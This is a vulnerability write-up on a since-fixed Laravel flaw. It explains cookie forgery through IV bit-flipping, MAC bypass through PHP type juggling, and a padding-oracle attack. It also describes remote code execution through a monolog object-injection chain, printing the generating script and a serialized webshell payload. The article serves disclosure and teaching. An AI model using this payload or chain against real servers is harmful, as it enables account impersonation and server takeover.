Article

Laravel cookie forgery, decryption, and RCE

A vulnerability in encryption API of the Laravel PHP framework allowed attackers to impersonate any user with modified session cookies. In some situations it could also allow an attacker to forge valid ciphertexts for arbitrary plaintexts and be used for remote code execution.

Laravel is a free, open source PHP web application framework. It provides a lot of the functionality required for developing a modern web application, including support for cookie based sessions. In order to prevent an attacker from modifying a cookie Laravel will encrypt it and create a message authentication code (MAC) of the ciphertext. (This wasn’t always the case!). When a cookie is received a MAC is calculated and compared with the one provided in the cookie. If the MAC differs then the cookie has been tampered with and the request is dropped.

Authenticating as any other user

The code that performs the MAC verification and decryption looked something like this:

$payload = json_decode(base64_decode($payload), true);

if ($payload['mac'] != hash_hmac('sha256', $payload['value'], $this->key))
    throw new DecryptException("MAC for payload is invalid.");

$value = base64_decode($payload['value']);
$iv = base64_decode($payload['iv']);

$plaintext = unserialize($this->stripPadding($this->mcryptDecrypt($value, $iv)));

The first interesting thing about this code is that the MAC does not protect the integrity of the initialisation vector (IV), only the main body of the ciphertext. Laravel uses Rijndael (essentially AES, but with a block size of 32 bytes instead of 16 bytes) in cipher-block chaining (CBC) mode. This means that the ability to modify the IV without detection would allow an attacker to make predictable changes to the first block of plaintext.

The format for Laravel’s “remember me” cookie is simply the user’s ID string. Therefore it is possible for a malicious user to take their own session cookie and modify it so that they are able to authenticate as any other user of the application. Suppose our user ID is “123”. The plaintext of our session cookie would be s:3:"123"; followed by 22 bytes of padding:

s:3:"123";\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16

Let the IV used when encrypting the cookie be:

V\xc5\xb5\x03\xf1\xd4"\xe5+>c\xffJPN\xad\x9f\xd6\xa0\x9cV\xe3@\x9c\xd5\xa0\xd1\xddS\x1d\xc9\x84

If we want to impersonate the user with ID “1” then the target plaintext is s:1:"1"; followed by 24 bytes of padding. To create a new IV that produces this plaintext we XOR the IV with our current plaintext and then XOR again with the target plaintext to get:

V\xc5\xb7\x03\xf1\xd42\xed\x11\x1dm\xf1D^@\xa3\x91\xd8\xae\x92X\xedN\x92\xdb\xae\xdf\xd3]\x13\xc7\x8a

Submitting the new cookie will authenticate us as the first registered user which is probably an administrative level user. A similar process can be used to create a cookie for any other user.

The ability to impersonate an arbitrary user is pretty powerful for an attacker, but where you can go from there is dependant on the functionality provided by the application. Is there some way of exploiting this situation that to attack all Laravel applications?

Sending arbitrary ciphertexts

Another problem with the MAC verification code is that the comparison is done with a non-strict operator: !=. This means that PHP will attempt type juggling prior to the actual equality check. The output of the hash_hmac() function is always a string, but if $payload['mac'] is an integer then the type coercion can make it relatively easy to forge a matching MAC. For example, if the true MAC starts with “0” or a non-numeric character then the integer zero will match, if it starts “1x” (where “x” is non-numeric) then the integer 1 will match, and so on.

var_dump('abcdefg' == 0); // true
var_dump('1abcdef' == 1); // true
var_dump('2abcdef' == 2); // true

Since the MAC is from the result of a call to json_decode() an attacker can provide an integer. This makes it quite likely that an attacker is able to provide a ‘valid’ MAC for an arbitrary ciphertext.

Decrypting ciphertexts

So, Laravel is using a block cipher in CBC mode and we have the ability to send arbitrary ciphertexts for decryption. Can we undertake a CBC padding oracle attack? The answer is, under certain circumstances, “yes”.

A successful padding oracle attack requires the target application to leak the status of the padding of a decrypted ciphertext. Looking back to the decryption code above there are three possible places that the padding status could be leaked by the application:

  • mcryptDecrypt(): No side channel. Single call to mcrypt_decrypt() which doesn’t deal with padding at all.
  • stripPadding(): No (practical) side channel. This method does check if padding is invalid, but will not report any error and just return the input without modification. There is a potential timing side channel as returning valid padding involves an extra call to substr(), but we will ignore this.
  • unserialize(): Leaks the length of the input if it’s not a valid PHP serialization and error reporting is enabled.

So, if PHP error reporting is enabled then the unserialization of the decrypted data will tell us how much padding has been stripped off. For example, if unserialize() tells us there was an error at “offset X of 22 bytes” then we know that there were 10 bytes of padding.

Laravel unserialize error

This is more than enough information leakage to perform a CBC padding oracle attack to decrypt ciphertexts.

Forging valid ciphertexts for arbitrary plaintexts

Since there is a CBC decryption oracle (in the form of a padding oracle) it is possible to use the “CBC-R” technique presented by Duong and Rizzo to encrypt arbitrary plaintexts.

The attacker controls or knows all parts of the CBC decryption process

CBC mode decryption works by XORing the decryption of a ciphertext block with the previous block of ciphertext. If the attack can control or know both of the inputs into the XOR operation then they can make the output, i.e. the plaintext block, anything they want. Since this is a chosen ciphertext attack, the attacker can obviously control the two blocks of ciphertext. The decrypted block of ciphertext can be recovered by using the decryption oracle. Therefore, the attacker can encrypt arbitrary messages without knowledge of the secret key.

Cool stuff! If the application makes use of the encryption API then we can forge ciphertexts to trick it into performing sensitive actions. However, this is still an application specific attack; we want to do better.

Remote code execution

We are already making use of unserialize() as the basis of our padding oracle. How about we exploit unserialize() to perform a PHP object injection attack and execute arbitrary code?

Searching Laravel and its dependencies for classes that define a __wakeup() or __destruct() magic method turns up several options. In my opinion one of the most interesting classes is the BufferHandler provided by the monologPHP logging framework because it is used by many different projects. A payload that can leverage the presence of monolog is much more generic than one that requires other, more project specific classes (at the time of writing, the monolog package has over 2.5 million downloads from packagist.org). Also, since monolog is likely to be included using Composer (a PHP dependency manager) it will probably be registered with the PHP class autoloader. This means that monolog doesn’t have be explicitly included in the target request as PHP will automatically find and load the class definitions as they are unserialized.

The BufferHandler class wraps another log handling class. When it is destroyed the BufferHandler will flush its current log buffer by passing off each entry in the buffer to the actual logger that it contains. A good choice for the child handler is the StreamHandler class which “stores to any stream resource”, such as a file. So, the plan of attack is to inject a BufferHandler that contains a StreamHandler pointing to a file in the web root and has a log buffer containing one entry: code for a simple PHP webshell.

It’s easy to generate such a payload by writing a short PHP script:

$handler = new BufferHandler(
    new StreamHandler('target-file.php')
);
$handler->handle(array(
    'level' => Logger::DEBUG,
    'message' => '<?php eval(hex2bin($_GET['x']));?>',
    'extra' => array(),
));
print bin2hex(serialize($handler)) . "\n";

This script will output our payload:

O:29:"Monolog\Handler\BufferHandler":3:{s:10:"\x00*\x00handler";O:29:"Monolog\Handler\StreamHandler":1:{s:6:"\x00*\x00url";s:15:"target-file.php";}s:9:"\x00*\x00buffer";a:1:{i:0;a:3:{s:5:"level";i:100;s:7:"message";s:34:"<?php eval(hex2bin($_GET['x']));?>";s:5:"extra";a:0:{}}}s:13:"\x00*\x00bufferSize";i:1;}

Once this is encrypted using the techniques described in the section above, it can be submitted as a cookie to a Laravel powered application in order to gain code execution on the victim’s server.

I developed an automated script to perform this attack as a demonstration:

(Note that the video has been sped up as the full attack actually takes about eight minutes).

Fixed?

This vulnerability was reported to the Laravel developers in June 2013 and was promptly fixed. Unfortunately the strict equality check for MAC verification was broken again just a couple of months later!